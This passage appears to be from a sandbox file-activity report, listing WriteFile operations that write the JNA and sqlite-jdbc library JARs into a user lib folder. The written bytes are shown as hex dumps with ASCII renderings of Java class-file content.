K........8f>I..Fk........&...or
g/sqlite/date/FastDateFor
mat$1
.class.R]O.A.=.n.....~.....u..
.|(6!Y})i.o..........g..$....Q
.;.MS..D7..w..{..3...........'
>.C..4D..>...d.
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 61 74 69 76 65 43 6f 
6e 74 65 78 74 3b 29 
4c 6a 61 76 61 2f 6c 
61 6e 67 2f 49 6e 74 
65 67 65 72 3b 01 00 
1d 4c 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
54 6f 4e 61 74 69 76 
65 43 6f 6e 74 65 78 
74 3b 01 00 01 74 01 
00 10 4c 6a 61 76 61 
2f 6c 61 6e 67 2f 45 
6e 75 6d 3b 01 00 03 
54 54 3b 01 00 0a 6e 
61 74 69 76 65 54 79 
70 65 01 00 13 28 29 
4c 6a 61 76 61 2f 6c 
61 6e 67 2f 43 6c 61 
73 73 3b 01 00 28 28 
29 4c 6a 61 76 61 2f 
6c 61 6e 67 2f 43 6c 
61 73 73 3c 4c 6a 61 
76 61 2f 6c 61 6e 67 
2f 49 6e 74 65 67 65 
72 3b 3e 3b 01 00 45 
28 4c 6a 61 76 61 2f 
6c 61 6e 67 2f 4f 62 
6a 65 63 74 3b 4c 63 
6f 6d 2f 73 75 6e 2f 6a 
6e 61 2f 46 72 6f 6d 
4e 61 74 69 76 65 43 
6f 6e 74 65 78 74 3b 
29 4c 6a 61 76 61 2f 
6c 61 6e 67 2f 4f 62 
6a 65 63 74 3b 01 00 
43 28 4c 6a 61 76 61 
2f 6c 

ativeContext;)Ljava/lang/In
teg
er;...Lcom/sun/jna/ToNativ
eCon
text;...t...Ljava/lang/Enum;.
..TT;...nativeType...
()Ljava/lang/Class;..
(()Ljava/lang/Class
<Ljava/lang/Integer;>;..E(Lj
av
a/lang/Object;Lcom/sun/jn
a/Fro
mNativeContext;)Ljava/lan
g/Object;..C(Ljava/l
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 00 02 00 05 00 14 00 
24 00 25 00 03 00 11 
00 08 00 26 00 27 00 
04 00 1b 00 00 00 16 
00 02 00 00 00 19 00 
19 00 1c 00 00 00 11 
00 08 00 26 00 28 00 
04 00 12 00 00 00 02 
00 29 00 01 00 2a 00 
2b 00 01 00 16 00 00 
00 7c 00 02 00 04 00 
00 00 14 2a b4 00 02 
2b b6 00 07 c0 00 08 
4e 2d b6 00 09 b8 00 
0a b0 00 00 00 03 00 
17 00 00 00 0a 00 02 
00 00 00 3c 00 0c 00 
3e 00 18 00 00 00 2a 
00 04 00 00 00 14 00 
19 00 1a 00 00 00 00 
00 14 00 20 00 21 00 
01 00 00 00 14 00 22 
00 2c 00 02 00 0c 00 
08 00 2d 00 2e 00 03 
00 1b 00 00 00 16 00 
02 00 00 00 14 00 19 
00 1c 00 00 00 0c 00 
08 00 2d 00 2f 00 03 
00 01 00 30 00 31 00 
02 00 16 00 00 00 3f 
00 01 00 01 00 00 00 
03 12 03 b0 00 00 00 
03 00 17 00 00 00 06 
00 01 00 00 00 43 00 
18 00 00 00 0c 00 01 
00 00 00 03 00 19 00 
1a 00 00 
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C:\Users\user\lib\jna-5.5.0.jard unknown 347 45 b1 83 f1 73 7c c5 
2d 50 cc 32 c6 f6 e0 
04 1e 98 bd 83 14 73 
ab a2 e1 51 23 0f 1d 
c4 01 b9 d6 e2 c9 3d 
90 61 6f 0b 39 9d 38 
27 af 38 ef 06 84 09 
9e 34 47 11 1e 69 b0 
19 43 7a 1c ce 90 02 
f2 c8 1c 13 3c 16 e1 
b1 0a 8f 4d 78 f2 1d 
96 83 70 eb 3b fd 38 
99 ff a7 78 ac 1c 4f f5 
d8 64 0a c8 00 65 16 
10 2b df ee a9 32 22 
78 10 35 2d 0e 8b c3 
ea b0 15 2b 8e fc 01 
cc f5 50 e6 42 b9 4a 
9e f3 06 70 9a c7 ac 
cb e6 30 1b f8 8e dc 
07 b6 21 df a3 f2 eb 
50 f7 3b cc bb 31 7f 
08 63 2a 75 a0 7a 0f 
4e df 21 a1 05 cc 2f 
4e 16 36 ca c9 a2 21 
8c d3 bf 95 55 d5 7b 
51 6b 86 8e b2 b8 4a 
8e 75 14 6e 49 b5 84 
ce e8 c7 d2 1d f4 cc 
e5 e2 78 be 2a 20 6a 
c4 29 f2 1b cd 9f 9b 
e0 e2 f8 04 6c 78 92 
55 eb 29 54 e2 69 d4 
e0 19 9c 86 67 99 5b 
cf 61 15 9e 67 0d 7a 
81 b9 f4 12 36 e1 65 
c6 e9 

E...s|.-P.2.........s...Q#....
....=.ao.9.8'.8.....4G..i..Cz.
.......<.....Mx....p.;.8...x..
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 4e c7 07 46 27 8d 94 
d9 53 15 ca ae e9 e3 
c7 69 97 b4 da 4d e3 
94 d9 dd 97 36 32 63 
07 73 c5 b4 49 87 0c 
65 d4 c7 42 20 98 1b 
9d ac dc bb 94 13 81 
a8 99 db 99 cf 1b d9 
b1 a1 9c c0 f2 39 10 
f9 1c 25 b1 c5 d7 bb 
c0 ad f1 fe ea 10 b8 
97 53 e9 4c 86 47 a0 
3d 5e 95 26 2f fd 1a 
1e 1c 81 b8 53 bb 97 
92 9c 1d d3 0b de 16 
e1 94 fa 5c b9 69 da 
46 02 b7 c7 fb fd ba 
36 57 da 46 a7 8f 0b 
ec aa 0a 7b 01 a8 3e 
cf de 2c 00 54 2b 8f 
d3 72 32 2b 8f b7 ea 
29 56 cc 4d 17 78 33 
89 ee 39 95 32 f2 3c 
54 c5 10 de 14 d8 e6 
3b d7 e5 e0 ca 23 d9 
3d b5 9c e0 16 5f 65 
3a c6 65 8c d6 14 a3 
0b c7 02 3c b9 e6 28 
6d 8f 07 67 4f e0 e6 
b8 e7 1c a8 57 9b aa 
75 76 2e 8d 3b 43 76 
9c 9e 11 52 4b aa 73 
af b9 42 c9 3e f9 9a 
49 65 40 3f 95 34 b2 
e3 e6 c4 9e 22 ed a8 
72 3e 06 e3 eb 12 94 
4f e3 c4 

N..F'...S......i...M.....62c.s
..I..e..B ....................
.9...%............S.L.G.=^.&/.
.....S............\.i.F......6
W.F......{..>..,.T+..r2+...)V.
M.x3..9.2.<T......;....#.=....
_e:.e.......<..(m..gO......W..
uv..;Cv...RK.s..B.>..Ie@?.4
....."..r>.....O..
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 00 00 0c 00 01 00 00 
00 07 00 19 00 1c 00 
00 10 41 00 2a 00 34 
00 01 00 16 00 00 00 
43 00 03 00 03 00 00 
00 07 2a 2b 2c b6 00 
0c b0 00 00 00 03 00 
17 00 00 00 06 00 01 
00 00 00 26 00 18 00 
00 00 0c 00 01 00 00 
00 07 00 19 00 1a 00 
00 00 1b 00 00 00 0c 
00 01 00 00 00 07 00 
19 00 1c 00 00 00 02 
00 12 00 00 00 02 00 
35 00 36 00 00 00 02 
00 37 50 4b 03 04 0a 
00 00 08 00 00 96 8c 
5e 4f 95 99 3f f9 7e 09 
00 00 7e 09 00 00 24 
00 00 00 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
2f 70 6c 61 74 66 6f 
72 6d 2f 45 6e 75 6d 
55 74 69 6c 73 2e 63 
6c 61 73 73 ca fe ba 
be 00 00 00 32 00 68 
0a 00 11 00 47 0a 00 
11 00 48 0a 00 49 00 
4a 07 00 23 07 00 4b 
0a 00 05 00 47 07 00 
4c 07 00 34 07 00 4d 
0a 00 09 00 47 0b 00 
10 00 4e 0b 00 4f 00 
50 0b 00 4f 00 51 0b 
00 52 00 53 0b 00 52 
00 54 

................A.*.4.......C.

.......*+,...................&

..............................

...............5.6.....7PK....

......^O..?.~...~...$...com/su
n/jna/platform/EnumUtils.cl
ass.......2.h....G....H..I.J..#..
K....G..L..4..M....G....N..O.
P..O.Q..R.S..R.T
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 6d 2f 77 69 6e 33 32 
2f 46 6c 61 67 45 6e 
75 6d 3b 3e 28 49 4c 
6a 61 76 61 2f 6c 61 
6e 67 2f 43 6c 61 73 
73 3c 54 54 3b 3e 3b 
29 4c 6a 61 76 61 2f 
75 74 69 6c 2f 53 65 
74 3c 54 54 3b 3e 3b 
01 00 0c 73 65 74 54 
6f 49 6e 74 65 67 65 
72 01 00 12 28 4c 6a 
61 76 61 2f 75 74 69 
6c 2f 53 65 74 3b 29 
49 01 00 01 74 01 00 
03 73 65 74 01 00 03 
73 75 6d 07 00 59 01 
00 41 3c 54 3a 3a 4c 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 77 
69 6e 33 32 2f 46 6c 
61 67 45 6e 75 6d 3b 
3e 28 4c 6a 61 76 61 
2f 75 74 69 6c 2f 53 
65 74 3c 54 54 3b 3e 
3b 29 49 01 00 0a 53 
6f 75 72 63 65 46 69 
6c 65 01 00 0e 45 6e 
75 6d 55 74 69 6c 73 
2e 6a 61 76 61 0c 00 
16 00 17 0c 00 5a 00 
5b 07 00 57 0c 00 5c 
00 5d 01 00 22 6a 61 
76 61 2f 6c 61 6e 67 
2f 49 6c 6c 65 67 61 
6c 41 

m/win32/FlagEnum;>
(ILjava/lang
/Class<TT;>;)Ljava/util/Set
<TT;>;...setToInteger...
(Ljava/ut
il/Set;)I...t...set...sum..Y..
A<T::Lcom/sun/jna/platfor
m/win32/FlagEnum;>
(Ljava/util/Set<T
T;>;)I...SourceFile...Enum
Utils.java.......Z.
[..W..\.].."java/lang/IllegalA

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-5.5.0.jard unknown 1024 2e 62 dc 2d c2 4c 7c 
17 57 50 f2 ed ac 85 
7c 3f 31 ce 6e a7 74 
7c 3f 31 98 87 70 a6 
7c 3f c1 4a be 67 c8 
47 14 75 7a 04 8b f5 
9c cd a7 9c d7 f0 ef 
4a 46 32 e3 32 96 e5 
84 7e 4c 7a 42 87 7e 
c2 aa 9c a3 43 3f a5 
76 26 6c a2 7c 3f c3 
75 09 59 6e d0 fd 79 
9c 6e 3b e9 ca 2c 6f 
45 e1 b4 71 87 51 a9 
e0 fa 05 c2 74 08 a6 
a3 2c f5 56 3d e7 af 
57 b0 45 c1 56 05 37 
10 16 42 c1 2f 80 23 
38 55 c1 2f 15 fc 8a 
c5 e0 28 8a a1 64 c0 
64 9a 1d 82 5a a7 e0 
c6 43 50 ec 6a 31 7e 
ad 7b 4c e0 37 d4 f4 
b7 f4 9a 91 ee d7 45 
33 73 be bd de 7e a6 
69 1f 96 f5 a3 e1 6e 
1c c7 d9 f2 f8 ac 92 
b3 46 33 67 2d 26 7b 
7d 93 be 54 bd 0d 63 
96 0d 62 65 8b fd ac 
01 ac da bf 53 a7 e1 
66 f1 58 41 bd fd 7a 
dd 52 38 5e 8c 31 2c 
2d 93 59 5c dc cc f0 
d9 2c 13 7c 95 32 32 
2e 8b d7 81 1a da e2 
66 fc 8e 

.b.-.L|.WP....|?1.n.t|?1..p.|?

.J.g.G.uz..........JF2.2...~Lz
B.~....C?.v&l.|?.u.Yn..y.n;..,
oE..q.Q.....t...,.V=..W.E.V.7
..B./.#8U./.....(..d.d...Z...CP
.j1~.{L.7........E3s...~.i....
.n........F3g-&{}..T..c..be...
....S..f.XA..z.R8^.1,-.Y\....,
.|.22.......f..

success or wait 1 6DD59FBC WriteFile
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C:\Users\user\lib\jna-5.5.0.jard unknown 347 7f 6e d9 d6 f8 05 c3 
86 7e 59 41 a3 51 6e 
33 28 75 c7 14 0c ab 
4d cb 16 6f 26 c3 8e 
70 0f 79 67 40 37 b9 
a6 d3 e5 83 36 77 2d 
99 87 97 8a 94 64 50 
5b 7d ee 0a 33 20 a2 
f4 b5 6d 0b b7 3e e0 
9e 27 e8 b5 78 89 5a 
69 b1 43 7a 73 7a 3d 
4f 8c 19 58 83 58 3d 
eb 94 c8 13 a6 e5 8d 
1c 8f 50 54 97 d6 32 
1d 67 62 9b 5e bd 2f 
ba 9f 19 62 7a 60 38 
4a 9d 0c 11 ef 94 21 
39 76 5a 63 d7 b2 8f 
69 05 7a b9 79 c2 bf 
f0 da 80 db c7 b5 e0 
96 64 d2 2d 67 e2 76 
c5 2b 4b 9a cf 04 ea 
55 59 a7 22 8b ab 2a 
72 28 a8 b8 8d 4d 15 
7b 32 68 28 32 e4 2f 
f2 bc 9c 58 03 53 b8 
2a 4a b8 af e2 09 9e 
32 ac 68 ba e7 0f a4 
f5 5c 67 a8 d1 18 65 
86 c2 7f c6 a6 9d 2e 
57 d0 f4 23 21 5c da 
08 1f 8d 84 6d 32 6c 
eb cb 93 2c 0f 17 9a 
da 27 cf 2b f4 27 01 
58 36 2b 67 22 a4 80 
94 70 8d e2 1a 65 26 
62 88 d3 

.n......~YA.Qn3(u....M..o&..
p.yg@7.....6w-.....dP[}..3 
...m.
.>..'..x.Zi.Czsz=O..X.X=.....
....PT..2.gb.^./...bz`8J.....!9
vZc...i.z.y..........d.-g.v.+K
....UY."..*r(...M.{2h(2./...X.
S.*J.....2.h.....\g...e.......
W..#!\.....m2l...,....'.+.'.X6
+g"...p...e&b..

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 9c af 58 e7 eb a8 79 
16 b5 c1 8b 9d b4 35 
0f 30 ad 4b 12 57 33 
31 58 de ca 02 1b 11 
0a 6c 42 24 b0 19 0d 
81 3b 1d 19 8f d9 19 
8f a9 fd a5 81 fc 7e 8e 
da 02 f8 bc 64 88 08 
35 3e e5 17 fa 1a 77 
e8 3b 3c 43 7f da 1e 
ba 49 39 94 c0 8e 6b 
58 7b 74 06 6d 4d ed 
25 bc 53 0d 23 95 9a 
6e b3 ab 2b 4b 78 97 
a3 ba a2 84 38 2b ac 
23 51 42 87 3b e5 fd 
0e bf 3b 94 df 1a 7e 
48 fa ad c4 4e 37 e1 
c8 3c 57 62 18 5f c4 
33 8a da 26 97 18 6d 
c4 d7 d0 45 bd 59 ff 
32 02 97 51 f9 0c 18 
25 95 2f 49 57 cf 62 
a3 c4 08 74 49 a3 f0 ff 
00 50 4b 03 04 0a 00 
00 00 08 00 38 66 3e 
49 55 85 e9 5a 26 02 
00 00 00 04 00 00 26 
00 00 00 6f 72 67 2f 
73 71 6c 69 74 65 2f 
64 61 74 65 2f 46 61 
73 74 44 61 74 65 50 
61 72 73 65 72 24 31 
2e 63 6c 61 73 73 85 
53 db 6e d3 40 10 3d 
eb 38 76 71 9c de 5d 
2e 

..X...y......5.0.K.W31X......l
B$....;...........~.....d..5>.
...w.;
<C....I9...kX{t.mM.%.S.#
..n..+Kx.....8+.#QB.;....;...~
H...N7..
<Wb._.3..&..m...E.Y.2.
.Q...%./IW.b...tI....PK.......
.8f>IU..Z&.......&...org/sqlit
e/date/FastDateParser$1.c
lass.S.n.@.=.8vq..].

success or wait 1 6DD59FBC WriteFile

File Path Offset Length Value Ascii Completion Count
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 64 00 65 0c 00 66 00 
67 01 00 23 63 6f 6d 
2f 73 75 6e 2f 6a 6e 
61 2f 70 6c 61 74 66 
6f 72 6d 2f 77 69 6e 
33 32 2f 46 6c 61 67 
45 6e 75 6d 01 00 10 
6a 61 76 61 2f 6c 61 
6e 67 2f 4f 62 6a 65 
63 74 01 00 0f 6a 61 
76 61 2f 6c 61 6e 67 
2f 43 6c 61 73 73 01 
00 0d 6a 61 76 61 2f 
75 74 69 6c 2f 53 65 
74 01 00 12 6a 61 76 
61 2f 75 74 69 6c 2f 
49 74 65 72 61 74 6f 
72 01 00 08 67 65 74 
43 6c 61 73 73 01 00 
13 28 29 4c 6a 61 76 
61 2f 6c 61 6e 67 2f 
43 6c 61 73 73 3b 01 
00 10 67 65 74 45 6e 
75 6d 43 6f 6e 73 74 
61 6e 74 73 01 00 15 
28 29 5b 4c 6a 61 76 
61 2f 6c 61 6e 67 2f 4f 
62 6a 65 63 74 3b 01 
00 07 67 65 74 46 6c 
61 67 01 00 03 28 29 
49 01 00 03 61 64 64 
01 00 15 28 4c 6a 61 
76 61 2f 6c 61 6e 67 
2f 4f 62 6a 65 63 74 
3b 29 5a 01 00 08 69 
74 65 72 61 74 6f 72 
01 00 

d.e..f.g..#com/sun/jna/platf
or
m/win32/FlagEnum...java/l
ang/O
bject...java/lang/Class...jav
a/util/Set...java/util/Iterator
...getClass...
()Ljava/lang/Cla
ss;...getEnumConstants...
()[Lj
ava/lang/Object;...getFlag..
.()I...add...
(Ljava/lang/Object;
)Z...iterator..

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 08 01 01 00 00 22 f8 
00 05 00 28 00 00 00 
02 00 3d 00 09 00 3e 
00 3f 00 02 00 18 00 
00 00 a6 00 02 00 04 
00 00 00 2a 03 3c 2a 
b9 00 0d 01 00 4d 2c 
b9 00 0e 01 00 99 00 
19 2c b9 00 0f 01 00 
c0 00 10 4e 1b 2d b9 
00 0b 01 00 80 3c a7 
ff e4 1b ac 00 00 00 
04 00 19 00 00 00 16 
00 05 00 00 00 67 00 
02 00 69 00 1c 00 6b 
00 25 00 6c 00 28 00 
6e 00 1a 00 00 00 20 
00 03 00 1c 00 09 00 
40 00 32 00 03 00 00 
00 2a 00 41 00 36 00 
00 00 02 00 28 00 42 
00 13 00 01 00 24 00 
00 00 16 00 02 00 1c 
00 09 00 40 00 37 00 
03 00 00 00 2a 00 41 
00 3a 00 00 00 27 00 
00 00 0c 00 02 fd 00 
09 01 07 00 43 fa 00 
1e 00 28 00 00 00 02 
00 44 00 01 00 45 00 
00 00 02 00 46 50 4b 
03 04 0a 00 00 08 00 
00 96 8c 5e 4f 59 63 
e4 32 bd 04 00 00 bd 
04 00 00 30 00 00 00 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 

....."....(.....=...>.?.......

........*.<*.....M,........,..

......N.-......<..............

......g...i...k.%.l.(.n..... .

......@.2.....*.A.6.....(.B...

..$...........@.7.....*.A.:...
'............C....(.....D...E.
....FPK..........^OYc.2.......
.0...com/sun/jn

success or wait 1 6DD59FBC WriteFile
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 c9 c9 d7 dd 0e b7 5b 
dc 93 a1 8e 4d 35 e8 
4b 9f c1 a8 39 8e f0 
2a 36 f7 7d 41 72 b5 
ee 7a bd b2 7f 6b cb 
40 94 2d 4e 4b 95 fb 
c1 09 15 17 dc f3 85 
b7 b6 77 c0 90 ec 4a 
61 5b 0c ac 46 21 06 
ae 25 bb f7 a3 10 a1 
96 2d 6e 0f 89 9f 6e 
06 bc 73 dd e0 37 f1 
79 7a d3 1d 7a 1d 51 
95 a1 28 fc a6 6e 5f f1 
3b 4e c9 4f 9d 8e ed 
fa d2 e9 35 44 d0 77 
2d 0d 4b 06 54 24 19 
56 26 a5 62 d8 9a b0 
65 f4 22 cd c0 23 ab 
47 79 33 7f 8d e5 ff 01 
d8 41 82 5e 3f 1c 09 
9a 14 0b 74 5b aa f6 
49 87 4e 6a d3 7c 03 
7b 8d fa 5a a8 a9 0f 
e5 01 53 54 17 47 3b 
30 8d 99 88 90 82 81 
74 d8 47 06 d9 98 73 
16 73 0c 33 57 7a 82 
a6 3c 43 35 5f 48 2b 
63 b4 c7 31 9a f1 43 
33 90 8b 68 b3 54 27 
91 d0 8f 19 fd 94 8f 82 
14 30 17 85 9d a7 55 
a7 99 8f 0f 01 81 14 
72 17 a1 7f 03 50 4b 
03 04 0a 00 00 00 08 

......[....M5.K...9..*6.}Ar..z

...k.@.-NK...........w...Ja[..
F!..%......-n...n..s..7.yz..z.
Q..(..n_.;N.O......5D.w-
.K.T$.
V&.b...e."..#.Gy3......A.^?...
..t[..I.Nj.|.{..Z.....ST.G;0..
....t.G...s.s.3Wz..
<C5_H+c..1.
.C3..h.T'.........0....U......
.r....PK.......

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 0a 00 05 00 30 0a 00 
05 00 31 07 00 33 07 
00 34 01 00 04 66 69 
6c 65 01 00 0e 4c 6a 
61 76 61 2f 69 6f 2f 46 
69 6c 65 3b 01 00 04 
74 79 70 65 01 00 01 
49 01 00 06 74 68 69 
73 24 30 01 00 22 4c 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 46 
69 6c 65 4d 6f 6e 69 
74 6f 72 3b 01 00 06 
3c 69 6e 69 74 3e 01 
00 34 28 4c 63 6f 6d 
2f 73 75 6e 2f 6a 6e 
61 2f 70 6c 61 74 66 
6f 72 6d 2f 46 69 6c 
65 4d 6f 6e 69 74 6f 
72 3b 4c 6a 61 76 61 
2f 69 6f 2f 46 69 6c 65 
3b 49 29 56 01 00 04 
43 6f 64 65 01 00 0f 
4c 69 6e 65 4e 75 6d 
62 65 72 54 61 62 6c 
65 01 00 12 4c 6f 63 
61 6c 56 61 72 69 61 
62 6c 65 54 61 62 6c 
65 01 00 04 74 68 69 
73 01 00 09 46 69 6c 
65 45 76 65 6e 74 01 
00 0c 49 6e 6e 65 72 
43 6c 61 73 73 65 73 
01 00 2c 4c 63 6f 6d 
2f 73 75 6e 2f 6a 6e 

....0....1..3..4...file...Ljav
a/io/File;...type...I...this$0
.."Lcom/sun/jna/platform/Fi
leMonitor;...
<init>..4(Lcom/sun/j
na/platform/FileMonitor;Lja
va/
io/File;I)V...Code...LineNu
mbe
rTable...LocalVariableTabl
e...
this...FileEvent...InnerClas
ses..,Lcom/sun/jn

success or wait 26 6DD59FBC WriteFile
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 347 49 d0 72 51 8f 16 d5 
15 2b 69 d0 fe b5 b9 
ab ad 29 33 a6 e8 d1 
c6 1e cb d0 f4 68 4b 
d6 4c 48 b7 d4 a8 6a 
b4 b4 d1 21 ae 56 4d 
d7 ac 36 01 01 7f 28 
eb 8c 76 ca 40 8f 28 
46 4b 7e 5e f5 bd 02 
c4 f6 78 44 e5 39 69 
ba da 9d 3c 38 a0 1a 
7b 94 81 14 0e ee d4 
ab 18 1a b7 d3 93 4e 
55 b7 8c 31 7a 6f 4d 
bd e5 90 ae ab 46 7b 
4c 31 4d 8e 6c 71 6e 
ee 35 b6 17 a5 26 5a 
43 1a 2d 57 b6 2b a6 
1a d2 4d 55 37 35 4b 
1b 51 f7 a8 a3 16 61 
52 08 03 9d d5 da 15 
37 a2 8d e6 70 4c b3 
d4 c6 08 4d 36 76 28 
a6 b5 85 06 bb 14 c3 
54 8d 9a 59 76 53 8c 
92 88 3a 48 04 e8 d1 
0c 60 01 65 85 68 20 
b6 0f cc 68 51 9e 8b 
72 2c 91 41 da 5a 08 
ca a3 8b 31 af c7 52 
c2 07 68 a3 7d 9c 5d 
30 47 24 1c 95 70 4c 
c2 71 01 6e 25 12 d9 
4d ce a3 14 c8 3f 07 
ee 96 bc a0 9b 93 5a 
2c 42 0b f5 fd a4 80 
45 34 64 

I.rQ....+i......)3........hK.L
H...j...!.VM..6...(..v.@.
(FK~^.....xD.9i...<8..
{............
NU..1zoM.....F{L1M.lqn.5...
&ZC.-
W.+...MU75K.Q....aR......7.
.
.pL....M6v(.......T..YvS...:H.
...`.e.h ...hQ..r,.A.Z....1..R
..h.}.]0G$..pL.q.n%..M....?..
.....Z,B.....E4d

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 00 19 00 00 00 0c 00 
01 00 00 00 05 00 1a 
00 1d 00 00 00 01 00 
22 00 23 00 01 00 17 
00 00 00 4d 00 02 00 
01 00 00 00 23 bb 00 
05 59 b7 00 06 12 07 
b6 00 08 2a b4 00 03 
b6 00 09 12 0a b6 00 
08 2a b4 00 04 b6 00 
0b b6 00 0c b0 00 00 
00 02 00 18 00 00 00 
06 00 01 00 00 00 49 
00 19 00 00 00 0c 00 
01 00 00 00 23 00 1a 
00 1d 00 00 00 02 00 
24 00 00 00 02 00 25 
00 1c 00 00 00 0a 00 
01 00 0d 00 32 00 1b 
00 01 50 4b 03 04 0a 
00 00 08 00 00 96 8c 
5e 4f 4a 2f b1 78 69 
01 00 00 69 01 00 00 
33 00 00 00 63 6f 6d 
2f 73 75 6e 2f 6a 6e 
61 2f 70 6c 61 74 66 
6f 72 6d 2f 46 69 6c 
65 4d 6f 6e 69 74 6f 
72 24 46 69 6c 65 4c 
69 73 74 65 6e 65 72 
2e 63 6c 61 73 73 ca 
fe ba be 00 00 00 32 
00 10 07 00 0b 07 00 
0d 01 00 0b 66 69 6c 
65 43 68 61 6e 67 65 
64 07 00 0e 01 00 09 
46 69 6c 

.....................".#......

.M.......#...Y........*.......

....*.........................
I...........#.........$.....%.
..........2....PK..........^OJ
/.xi...i...3...com/sun/jna/pla
tform/FileMonitor$FileListe
ner.class.......2...........fileC
hanged......Fil

success or wait 1 6DD59FBC WriteFile
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C:\Users\user\lib\jna-5.5.0.jard unknown 1024 f8 6b ec e2 1a 21 e3 
d8 a1 30 3f bb 81 4e 
96 d0 a1 c8 c8 f2 c4 
d0 f8 a8 19 4b ad dc 
d5 6f 8e 49 45 55 68 
5e 6e 9d 61 ec 84 e4 
70 08 8d 8e 27 53 a1 
3e 33 34 c4 ba 40 b3 
87 52 c3 91 58 68 8f 
99 88 8b 3a fd 06 fe 
1d cf 19 6a 40 e4 cf 
ce ca ef 1e 4f 75 0f 5a 
6a ac 4c 24 e2 f4 6f 
9d db 7a ed e3 51 39 
84 14 2a 3b 22 b1 58 
3c 15 ca 1c 9e 21 43 
99 6a 50 08 ed 5e 1c 
92 42 98 34 f0 6b fc 
8b c2 9c a9 87 a1 1c 
68 ce 81 28 ea 0c 1b 
ac 9f 5b 65 bb f7 1b f8 
04 ee 34 f0 79 3c a0 
d0 70 a2 71 ce ca 3d 
c8 65 29 4b 64 48 32 
24 d4 67 17 5d 67 e3 
2c b6 d1 54 74 87 d9 
a6 15 e3 a9 77 49 67 
2c c9 0c 8e f6 47 69 
ba d0 a8 16 11 4a c5 
43 ba ee 4b 23 35 6c 
86 12 e6 f6 71 33 c9 
ab 80 23 50 e1 ac fc 
00 11 42 ec a4 65 e3 
83 a1 d4 4e 9a f5 5f 
71 bb a1 46 55 cc c0 
3d b8 5d e1 cc 1c b7 
49 

.k...!...0?..N...........K...o

.IEUh^n.a...p...'S.>34..@..
R..
Xh....:......j@......Ou.Zj.L$.
.o..z..Q9..*;".X<....!C.jP..^.
.B.4.k........h..(.....[e.....
.4.y<..p.q..=.e)KdH2$.g.]g.,
..Tt......wIg,....Gi.....J.C..K#
5l....q3...#P.....B..e....N.._
q..FU..=.]....I

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 6f 6e 69 74 6f 72 2e 
6a 61 76 61 07 00 0f 
01 00 2d 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
2f 70 6c 61 74 66 6f 
72 6d 2f 46 69 6c 65 
4d 6f 6e 69 74 6f 72 
24 46 69 6c 65 4c 69 
73 74 65 6e 65 72 01 
00 0c 46 69 6c 65 4c 
69 73 74 65 6e 65 72 
01 00 10 6a 61 76 61 
2f 6c 61 6e 67 2f 4f 62 
6a 65 63 74 01 00 2a 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 46 
69 6c 65 4d 6f 6e 69 
74 6f 72 24 46 69 6c 
65 45 76 65 6e 74 01 
00 20 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
70 6c 61 74 66 6f 72 
6d 2f 46 69 6c 65 4d 
6f 6e 69 74 6f 72 06 
01 00 01 00 02 00 00 
00 00 00 01 04 01 00 
03 00 07 00 00 00 02 
00 08 00 00 00 02 00 
09 00 06 00 00 00 12 
00 02 00 04 00 0a 00 
05 00 01 00 01 00 0a 
00 0c 06 09 50 4b 03 
04 0a 00 00 08 00 00 
96 8c 5e 4f 9c 2c 30 
e5 6b 04 00 00 6b 04 
00 

onitor.java.....-
com/sun/jna/p
latform/FileMonitor$FileList
en
er...FileListener...java/lang/
Object..*com/sun/jna/platfo
rm/FileMonitor$FileEvent.. 
com/su
n/jna/platform/FileMonitor..
................................
....................PK........
..^O.,0.k...k..

success or wait 20 6DD59FBC WriteFile
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 2f 53 74 72 69 6e 67 
3b 29 5a 01 00 06 61 
70 70 65 6e 64 01 00 
2d 28 4c 6a 61 76 61 
2f 6c 61 6e 67 2f 53 
74 72 69 6e 67 3b 29 
4c 6a 61 76 61 2f 6c 
61 6e 67 2f 53 74 72 
69 6e 67 42 75 69 6c 
64 65 72 3b 01 00 08 
74 6f 53 74 72 69 6e 
67 01 00 14 28 29 4c 
6a 61 76 61 2f 6c 61 
6e 67 2f 53 74 72 69 
6e 67 3b 01 00 15 28 
4c 6a 61 76 61 2f 6c 
61 6e 67 2f 53 74 72 
69 6e 67 3b 29 56 01 
00 20 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
70 6c 61 74 66 6f 72 
6d 2f 46 69 6c 65 4d 
6f 6e 69 74 6f 72 00 
20 00 10 00 11 00 00 
00 01 00 19 00 12 00 
13 00 00 00 02 00 02 
00 14 00 15 00 01 00 
16 00 00 00 2f 00 01 
00 01 00 00 00 05 2a 
b7 00 01 b1 00 00 00 
02 00 17 00 00 00 06 
00 01 00 00 00 82 00 
18 00 00 00 0c 00 01 
00 00 00 05 00 19 00 
1c 00 00 00 08 00 1d 
00 15 00 01 00 16 00 
00 00 83 

/String;)Z...append..-
(Ljava/l
ang/String;)Ljava/lang/Stri
ngBuilder;...toString...
()Ljava/lang/String;...
(Ljava/lang/String;)V.. 
